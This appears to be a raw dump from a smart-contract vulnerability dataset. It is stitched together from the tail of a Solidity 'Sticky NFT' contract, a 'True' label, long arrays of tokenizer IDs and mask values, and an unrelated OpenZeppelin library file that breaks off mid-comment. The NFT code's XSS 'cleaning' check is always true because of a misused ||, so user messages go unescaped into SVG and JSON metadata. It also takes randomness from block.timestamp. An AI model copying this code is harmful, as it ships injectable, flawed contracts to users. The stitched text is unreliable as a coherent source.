super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256) internal override(ERC721, ERC721URIStorage) {
emit TokenNotBurnable("");
}
function baseTokenURI() public pure returns (string memory) {
return "";
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
bytes memory byteString;
StkToken memory stkToken = tokenIdToStkStruct[tokenId];
string memory ownerAddress = toAsciiString(stkToken.owner);
byteString = abi.encodePacked(byteString, 'data:application/json;utf8,{');
// Set title Name & Display Name
if (bytes(stkToken.message).length > 0) {
byteString = abi.encodePacked(byteString, '"name": "Sticky NFT",');
byteString = abi.encodePacked(byteString, '"displayName": "Sticky NFT",');
byteString = abi.encodePacked(byteString, '"description": "You received a Sticky NFT, more info https://stickynft.com ",');
} else {
byteString = abi.encodePacked(byteString, '"name": "Sticky NFT",');
byteString = abi.encodePacked(byteString, '"displayName": "Sticky NFT",');
byteString = abi.encodePacked(byteString, '"description": "This is a Sticky NFT. https://stickynft.com ",');
}
byteString = abi.encodePacked(byteString, '"created_by": "0x', ownerAddress, '",');
byteString = abi.encodePacked(byteString, '"external_url": "https://stickynft.com",');
byteString = abi.encodePacked(byteString, '"image": "data:image/svg+xml;utf8,', generateSvg(stkToken), '",');
byteString = abi.encodePacked(byteString, '"attributes": [');
byteString = abi.encodePacked(byteString, '{"trait_type":"Birthday","value":', block.timestamp.toString(), ',"display_type":"date"},');
byteString = abi.encodePacked(byteString, '{"trait_type":"Background","value":"#', stkToken.bgHexCode, '"},');
byteString = abi.encodePacked(byteString, '{"trait_type":"Font","value":"#', stkToken.fgHexCode, '"},');
byteString = abi.encodePacked(byteString, '{"trait_type":"Origin","value":"0x', ownerAddress, '"}],');
byteString = abi.encodePacked(byteString, '"message": "', bytes(stkToken.message), '"}');
return string(byteString);
}
function generateSvg(StkToken memory stk) private view returns (bytes memory svg) {
svg = abi.encodePacked(svg, "<svg xmlns='http://www.w3.org/2000/svg' width='614' height='614' >");
svg = abi.encodePacked(svg, "<rect width='1080' height='1080' fill='#", stk.bgHexCode, "'/>");
bytes memory messageBytes = bytes(stk.message);
// Characters to watch for
bytes1 space = bytes1(" ");
bytes1 doubleQuote = bytes1('"');
bytes1 singleQuote = bytes1("'");
bytes1 backSlash = bytes1('\\');
if (bytes(stk.message).length > 0) {
svg = abi.encodePacked(svg, "<text x='25' y='20' font-family='serif' font-size='32' fill='#", stk.fgHexCode, "' >");
svg = abi.encodePacked(svg, "<tspan x='15' dy='1.2em' >");
for (uint256 counter = 0; counter < bytes(stk.message).length; counter++) {
// Clean message for xss
if (messageBytes[counter] != doubleQuote || messageBytes[counter] != singleQuote || messageBytes[counter] != backSlash) {
if (counter.mod(35) == 0 && counter > 0) {
if (messageBytes[counter] != space) {
svg = abi.encodePacked(svg, messageBytes[counter], "_</tspan>");
} else {
svg = abi.encodePacked(svg, messageBytes[counter], "</tspan>");
}
svg = abi.encodePacked(svg, "<tspan x='15' dy='1.2em' >");
} else {
svg = abi.encodePacked(svg, messageBytes[counter]);
}
}
}
svg = abi.encodePacked(svg, "</tspan>");
svg = abi.encodePacked(svg, "</text>");
} else {
svg = abi.encodePacked(svg, "<text x='25' y='25' font-family='Verdana' font-size='14' fill='#", stk.fgHexCode, "' >");
svg = abi.encodePacked(svg, "Owner 0x", toAsciiString(stk.owner), "</text>");
}
return abi.encodePacked(svg, "</svg>");
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool)
{
return super.supportsInterface(interfaceId);
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function withdraw(address to) external onlyOwner {
payable(to).transfer(address(this).balance);
}
// Transfer Functions
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory) public virtual override {
transferFrom(from, to, tokenId);
}
/**
* bug: inefficient iteration. will run out of gas if the the owner has to a big number of sticky notes
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
// if there is a message it is a note, cant sell a note
if (bytes(tokenIdToStkStruct[tokenId].message).length > 0) {
revert("cant sell sticky note");
}
// change the owner
for(uint i=0;i<addressToTokenId[from].length;i++){
if(addressToTokenId[from][i]==tokenId){
tokenIdToStkStruct[tokenId].owner = to;
addressToTokenId[from][i] = addressToTokenId[from][addressToTokenId[from].length - 1];
addressToTokenId[from].pop();
// introduce the new map
addressToTokenId[to].push(tokenId);
_transfer(from, to, tokenId);
break;
}
}
}
function generateRandomNum(uint256 seed) private view returns (uint256) {
return uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, seed)));
}
/*** Returns maximum supply for sell.
*/
function availableSupply() public view returns (uint256) {
return stnBkMaxSupply.sub(_soldCounter);
}
/*** Returns maximum supply for sell.
*/
function maxSupply() public view returns (uint256) {
return stnBkMaxSupply;
}
function toAsciiString(address x) internal view returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2 ** (8 * (19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2 * i] = char(hi);
s[2 * i + 1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function isColorAvailable(string memory _bgcolor, string memory _fgcolor) public view returns (bool) {
require(bytes(_bgcolor).length <= 6, "wrong color format");
require(bytes(_fgcolor).length <= 6, "wrong color format");
return !consumedColorCombination[hashColor(_bgcolor, _fgcolor)];
}
function hashColor(string memory _bg, string memory _fg) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(_bg, _fg));
}
/***
* Ensure no one can trigger the logic
*/
function renounceOwnership() public virtual onlyOwner override {
}
/***
* Payable fallback function
*/
fallback() external payable {}
receive() external payable {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
2603,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1016,
1025,
1013,
1013,
2112,
1024,
2330,
4371,
27877,
2378,
1013,
1031,
10373,
5123,
1033,
1013,
4769,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
3079,
4070,
1006,
1041,
10441,
1007,
1998,
2025,
1037,
3206,
1012,
1008,
1008,
2426,
2500,
1010,
1036,
2003,
8663,
6494,
6593,
1036,
2097,
2709,
6270,
2005,
1996,
2206,
1008,
4127,
1997,
11596,
1024,
1008,
1008,
1011,
2019,
27223,
1011,
3079,
4070,
1008,
1011,
1037,
3206,
1999,
2810,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2097,
2022,
2580,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2973,
1010,
2021,
2001,
3908,
1008,
1027,
1027,
1027,
1027,
1008,
1013,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
2023,
4118,
16803,
2006,
4654,
13535,
19847,
4697,
1010,
2029,
5651,
1014,
2005,
8311,
1999,
1013,
1013,
2810,
1010,
2144,
1996,
3642,
2003,
2069,
8250,
2012,
1996,
2203,
1997,
1996,
1013,
1013,
9570,
2953,
7781,
1012,
21318,
3372,
17788,
2575,
2946,
1025,
3320,
1063,
2946,
1024,
1027,
4654,
13535,
19847,
4697,
1006,
4070,
1007,
1065,
2709,
2946,
1028,
1014,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6110,
2005,
5024,
3012,
1005,
1055,
1036,
4651,
1036,
1024,
10255,
1036,
3815,
1036,
11417,
2000,
1008,
1036,
7799,
1036,
1010,
2830,
2075,
2035,
2800,
3806,
1998,
7065,
8743,
2075,
2006,
10697,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
6988,
1031,
1041,
11514,
15136,
2620,
2549,
1033,
7457,
1996,
3806,
3465,
1008,
1997,
3056,
6728,
23237,
1010,
4298,
2437,
8311,
2175,
2058,
1996,
11816,
2692,
3806,
5787,
1008,
9770,
2011,
1036,
4651,
1036,
1010,
2437,
2068,
4039,
2000,
4374,
5029,
3081,
1008,
1036,
4651,
1036,
1012,
1063,
4604,
10175,
5657,
1065,
20362,
2023,
22718,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
29454,
29206,
3401,
1012,
9530,
5054,
6508,
2015,
1012,
5658,
1013,
8466,
1013,
10476,
1013,
5641,
1013,
2644,
1011,
2478,
1011,
5024,
3012,
2015,
1011,
4651,
1011,
2085,
1013,
1031,
4553,
2062,
1033,
1012,
1008,
1008,
2590,
1024,
2138,
2491,
2003,
4015,
2000,
1036,
7799,
1036,
1010,
2729,
2442,
2022,
1008,
2579,
2000,
2025,
3443,
2128,
4765,
5521,
5666,
24728,
19666,
6906,
14680,
1012,
5136,
2478,
1008,
1063,
2128,
4765,
5521,
5666,
18405,
1065,
2030,
1996,
1008,
16770,
1024,
1013,
1013,
5024,
3012,
1012,
3191,
23816,
10085,
2015,
1012,
22834,
1013,
4372,
1013,
1058,
2692,
1012,
1019,
1012,
2340,
1013,
3036,
1011,
16852,
1012,
16129,
1001,
2224,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-09-16
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
